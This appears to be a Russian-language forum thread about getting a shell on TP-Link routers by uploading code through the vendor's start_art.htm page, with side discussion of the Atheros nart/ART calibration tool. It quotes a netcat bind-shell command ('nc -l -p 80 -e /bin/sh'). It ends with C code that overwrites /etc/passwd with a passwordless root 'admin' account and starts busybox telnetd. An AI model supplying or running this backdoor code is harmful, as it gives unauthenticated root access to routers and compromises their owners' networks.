>[оверквотинг удален]
>>>> Теперь не могу понять как именно собрать Netcat, что бы при исполнении
>>>> на роутере выполнялась опция nc -l -p 80 -e /bin/sh
>>> слушай, а не проще openwrt настроить и растиражировать?
>>> там фаером можно практич любые сетевые дырки закрыть в том числе и
>>> на будущее,имхо
>> Суть в проверки теории на практики, я ведь обращаюсь с конкретным вопросом.
> Столкнулся с аналогичной проблемой, файл заливается, но коннекта нет и порт не
> открывается. nart.out я не компилировал, но если открыть текстовым редактором и
> найти там 2222, то порт можно менять, только мне это не
> помогло. Есть идеи?К nart.out полагается еще art.ko (который работает с pci при выгруженном ath9k) и вместе они нужны для удаленной работы ART - atheros radio tool. ART существует только под оффтопик, но если собрать nart под любую платформу, хоть бы и под openwrt, под UBNT AirOS, под ďd - главное тулчейн и сорс ядра чтобы был, радио на роутере можно например откалибровать с PC. Еще много чего можно :) даже без свиндовса и ART, протокол работы nart простой текстовый, команда-ответ. Полезный тулсет, например если фирмваре с калибровкой убита. В прошивках тплинка start_art.htm не задумывался как бекдор, чисто головотяпство для удобства, чтобы можно было залить нарт не вскрывая устройство.
А так-то да, собираешь простой код который откроет сокет, форкнется и запустит sh - и есть шелл.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char **argv)
{
char *st="admin::0:0:adm:/:/bin/sh\n";
char *av[]={"busybox","telnetd",NULL};
char *ev[]={NULL};
int fd=open("/etc/passwd",O_CREAT|O_RDWR);
if(fd) {
write(fd,st,strlen(st));
close(fd);
execve("/bin/busybox",av,ev);
}
}